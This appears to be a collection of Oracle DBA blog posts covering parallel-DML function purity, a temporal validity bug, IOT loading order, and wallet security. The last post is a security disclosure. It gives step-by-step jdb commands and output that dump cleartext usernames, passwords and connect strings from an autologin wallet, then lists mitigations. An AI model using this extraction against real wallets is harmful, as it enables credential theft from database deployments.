Find functions with pragma RESTRICT_REFERENCES

If you want to do parallel DML and use packaged functions in the statement, the functions need to fulfill certain requirements. Otherwise you will get the following note in the plan and PDML is not used:

- PDML disabled because function is not pure and not declared parallel enabled

This means your function must be either pure or declared with the parallel-enable clause.

The parallel enabled requirement is easy to check, you can find it out by querying DBA_PROCEDURES.PARALLEL

Pure functions

The second one is a bit harder, because it is not directly exposed via a database view.

First we need to know what pure means in this case. A function is considered as pure if it is defined with the pragma RESTRICT_REFERENCES and all four constraints RNDS, WNDS, RNPS and WNPS.

This information is encoded in SYS.PROCEDUREINFO$.PROPERTIES. The following query can be used to display which constraints of the pragma are used in a function/procedure:

select o.OBJECT_NAME,
       pi.procedurename,
       decode(bitand(pi.properties, 8388608), 8388608, 'NO', 'YES')
         as pragma_restrict_references,
       decode(bitand(pi.properties, 524288), 524288, 'NO', 'YES') as rnds,
       decode(bitand(pi.properties, 1048576), 1048576, 'NO', 'YES') as wnds,
       decode(bitand(pi.properties, 131072), 131072, 'NO', 'YES') as rnps,
       decode(bitand(pi.properties, 262144), 262144, 'NO', 'YES') as wnps
  from sys.procedureinfo$ pi
  join dba_objects o
    on (o.OBJECT_ID = pi.obj#);

So to finally find out if your function can be used in PDML statements, the following query can be used:

select o.OBJECT_NAME, pi.procedurename
  from sys.procedureinfo$ pi
  join dba_objects o on (o.OBJECT_ID = pi.obj#)
  join dba_procedures p on (o.OWNER = p.OWNER
    and o.OBJECT_NAME = p.OBJECT_NAME
    and pi.procedurename = p.PROCEDURE_NAME)
 where (p.PARALLEL = 'YES' 
   or (bitand(pi.properties, 8388608) <> 8388608 and
       bitand(pi.properties, 524288) <> 524288 and
       bitand(pi.properties, 1048576) <> 1048576 and
       bitand(pi.properties, 131072) <> 131072 and
       bitand(pi.properties, 262144) <> 262144))
   and p.OBJECT_NAME = '&packageName'
   and p.PROCEDURE_NAME = '&procedureName';

Conclusion

The above query provides an easy and fast way to determine if a function can be used in PDML statements. This is especially useful if you have a function for which you don’t own the source.

Example:

We had a DML statement which was using UTL_I18N.STRING_TO_RAW. This function is neither parallel enabled nor does it have the required pragma RESTRICT_REFERENCES. Therefore no PDML was performed.

We simply changed the statement to use UTL_RAW.CAST_TO_RAW instead, which has the pragma RESTRICT_REFERENCE required for PDML.

Of course these two functions do not provide the exact same functionality, but in our case (destination charset was the same as database charset) we were able to swap them without risk.

Temporal Validity and "wrong" results

Temporal validity is a new feature in Oracle 12c. It makes querying effective date ranges much simpler. For more details refer to the Oracle documentation.

This blog post explains in which situation one gets “wrong” or at least unexpected results when using temporal validity.

To demonstrate the situation let’s create a table with a time dimension and some records:

create table t1 (startdate date, enddate date); 
alter table t1 add period for t1period (startdate, enddate); 

insert into t1 values(null, date'2016-01-10'); 
insert into t1 values(date'2016-01-08', null); 
insert into t1 values(date'2016-01-08', date'2016-01-10'); 

commit;

So if you want to get the records from table T1 which are effective as of the day after tomorrow you can query it with the following select:

select * from t1 as of period for t1period date'2016-01-11';

The returned result is as expected

STARTDATE           ENDDATE
------------------- -------------------
2016-01-08 00:00:00

So what happens if you use a nonexistent time dimension:

select * from t1 as of period for t2period sysdate+2;
              *
ERROR at line 1:
ORA-55603: invalid flashback archive or valid time period command

You get an error, which is also the expected behaviour. But what happens when you delete the only existing time dimension on the table and query the table again.

alter table t1 drop (period for t1period);

select * from t1 as of period for t2period sysdate+2;

STARTDATE           ENDDATE
------------------- -------------------
                    2016-01-10 00:00:00
2016-01-08 00:00:00
2016-01-08 00:00:00 2016-01-10 00:00:00

Oracle successfully executes the query and simply ignores the temporal validity clause. If someone accidentally drops your time dimension you won’t notice but get wrong results.

In my opinion the correct behaviour in this situation would be returning an error, as it is the case when you have an already existing time dimension on the table but use a non-existing one in the query. I already filed a bug in MOS to ask whether this is a bug or a design decision and I will keep this post updated on the outcome.

Update 2019-01-17

This bug has finally been fixed in version 19.1. Oracle now correctly reports ORA-55603: invalid flashback archive or valid time period command when there is no time dimension on the table.

Loading data into index organized tables

Most of the time you don’t have full control of how your data gets loaded into the database, because it is often imposed by business rules. But in the case you have full control, you should take advantage of it.

I recently came across an index organized table which was kind of a denormalized form of other tables and which was truncated and reloaded every day before some heavy batch jobs queried it.

The data was loaded into the IOT with an insert as select statement. Because the data returned by the select was not ordered (or at least not ordered after the primary key columns of the IOT), the insert caused a lot of 50/50 block splits on the IOT.

I added a simple order by clause to the statement with the effect that only 90/10 block splits were done afterwards. This also resulted in a 50% smaller index size.

Here’s a small test case for demonstration:

Create a heap table which is later used to load data into the IOT

The c1 column will be the pk column of the later created IOT. I used a random function so the values for this column are not ordered in any way.

create table t_heap (c1 number, c2 varchar2(100));

INSERT INTO t_heap
SELECT dbms_random.random, lpad('#',100,'#')
FROM dual CONNECT BY rownum <= 100000;

Remove any duplicate values for c1 as this would lead to unique constraint violations later.

declare
 lastValue t_heap.c1%type;
 cursor c_heap is select * from t_heap order by c1 for update;
begin
  for rec in c_heap loop
    if rec.c1 = lastValue then
      delete from t_heap where current of c_heap;
    end if;
  lastValue := rec.c1;
  end loop;
end;
/

commit;

Create the IOT

create table t_iot (c1 number, c2 varchar2(100),
 constraint pk_iot primary key (c1))
 organization index;

Check the index split statistics before inserting

select n.name,s.value from v$mystat s
join v$statname n on (s.statistic# = n.statistic#)
where n.name in ('leaf node splits', 'leaf node 90-10 splits');

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
leaf node splits                                                          0
leaf node 90-10 splits                                                    0

Insert without order by clause

insert into t_iot select * from t_heap;


NAME                                                                  VALUE
---------------------------------------------------------------- ----------
leaf node splits                                                       2908
leaf node 90-10 splits                                                    0

select bytes/1024/1024 from dba_segments where segment_name='PK_IOT';

BYTES/1024/1024
---------------
             23

About ~3k block splits were done, all of them 50/50. The size of the index is ~23 MB.

Now insert with order by clause

(Open a new database session, so we have “fresh” counters in v$mystat)

truncate table t_iot;
insert into t_iot select * from t_heap order by c1;

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
leaf node splits                                                       1458
leaf node 90-10 splits                                                 1458

select bytes/1024/1024 from dba_segments where segment_name='PK_IOT';

BYTES/1024/1024
---------------
             12

The amount of block splits is cut in half and because of the order by clause, only 90/10 block splits were done. The index size is also considerably smaller (12 MB compared to 23 MB).

Beware of the Oracle wallet autologin option

Oracle Wallets are used to store your database passwords in encrypted format. This is useful for application servers when you don’t want to store your passwords in cleartext. A wallet password protects the wallet from reading and modification of entries. Each time your application needs to open a database connection it has to access the wallet, which requires entry of the wallet password. If you want your application to be able to read the database passwords from the wallet without entry of the wallet password, you can create it with the autologin option (so called SSO wallets).

When you think a little bit about it, it should be clear that this SSO wallet is not really encrypted anymore. Otherwise it would not be possible to read passwords from it, without authentication. In fact the autologin option creates a decrypted and obfuscated copy (cwallet.sso) from the original encrypted wallet (ewallet.p12). The whole security benefit from using a wallet compared to storing the passwords in cleartext more or less completely vanishes with the usage of the autologin option. I think the Oracle documentation is not very clear about this.

In this blog post I would like to demonstrate, that once you have access to an autologin wallet, you can extract all passwords very easily.

1. First let’s create a wallet with a sample entry

orapki wallet create -wallet /home/oracle/wallet -auto_login_local \
  -pwd myWalletPass16

mkstore -wrl /home/oracle/wallet -createCredential oraclelinux:1521:orcl121 \
  myUser myPass

2. Write a trivial java class to open a database connection

package io.aregger.wallet;
import java.sql.SQLException;
import oracle.jdbc.pool.OracleDataSource;

public class OpenWallet {
	public static void main(String[] args) throws SQLException {
		OracleDataSource dataSource = new OracleDataSource();
		// put in a random url. host and instance don't need to exist
		dataSource.setURL("jdbc:oracle:thin:@foo:1521:bar");
		dataSource.getConnection();
	}
}

3. After compiling the class, start it with Java Debugger (jdb)

jdb -classpath \
  lib/ojdbc7_g.jar:lib/oraclepki.jar:lib/osdt_cert.jar:lib/osdt_core.jar:./ \
  -Doracle.net.wallet_location=/home/oracle/wallet \
  io.aregger.wallet.OpenWallet

ojdbc7_g.jar is the jdbc driver compiled with debugging information.

oraclepki.jar, osdt_cert.jar and osdt_core.jar are needed when working with Oracle wallets.

4. After starting the program with jdb, a breakpoint can be set and the program execution can be continued

> stop at oracle.jdbc.driver.PhysicalConnection:1853
> run

The position of the breakpoint depends on the jdbc version. In this case 12.1.0.2 was used.

Shortly after running the program, jdb should output the following:

Breakpoint hit: "thread=main", oracle.jdbc.driver.PhysicalConnection.getSecretStoreCredentials(), line=1,853 bci=162

This is the point where you have access to all the entries in the wallet in cleartext

main[1] print secretStore.b.d.entrySet()
 secretStore.b.d.entrySet() = "[oracle.security.client.password1=oracle.security.pki.r@74751b3,
                                oracle.security.client.username1=oracle.security.pki.r@741a8937,
                                oracle.security.client.connect_string1=oracle.security.pki.r@306e95ec]"

Dump the password

main[1] dump secretStore.b.d.entrySet().toArray()[0].getValue().a
 secretStore.b.d.entrySet().toArray()[0].getValue().a = {
m, y, P, a, s, s
}

Dump the username

main[1] dump secretStore.b.d.entrySet().toArray()[1].getValue().a
 secretStore.b.d.entrySet().toArray()[1].getValue().a = {
m, y, U, s, e, r
}

Dump the connection string

main[1] dump secretStore.b.d.entrySet().toArray()[2].getValue().a
 secretStore.b.d.entrySet().toArray()[2].getValue().a = {
o, r, a, c, l, e, l, i, n, u, x, :, 1, 5, 2, 1, :, o, r, c, l, 1, 2, 1
}

Conclusion

Extracting passwords from a SSO wallet is easy and only takes a little bit more effort than extracting it from a cleartext property file. In this example the wallet was created with orapki and the -auto_login_local option, so the above steps have to be executed on the machine where the wallet was created. If the wallet was created with mkstore, it can be copied and the steps to extract the passwords can later be executed on a different machine.

For security reasons you should consider the following points:

1. Restrict filesystem access to your wallet (this should be obvious).
2. If possible don’t use the autologin option. This means you have to manually enter a password each time you want to start your application, which is often not feasible.
3. If you really have to use a SSO wallet, create it with the -auto_login_local option, so it cannot be used after copying to other machines.
4. Prevent your application user to connect from other hosts than the application server.

Update 2016-05-22: I just found a project on github which makes the whole password extraction from SSO wallets very easy: https://github.com/tejado/ssoDecrypt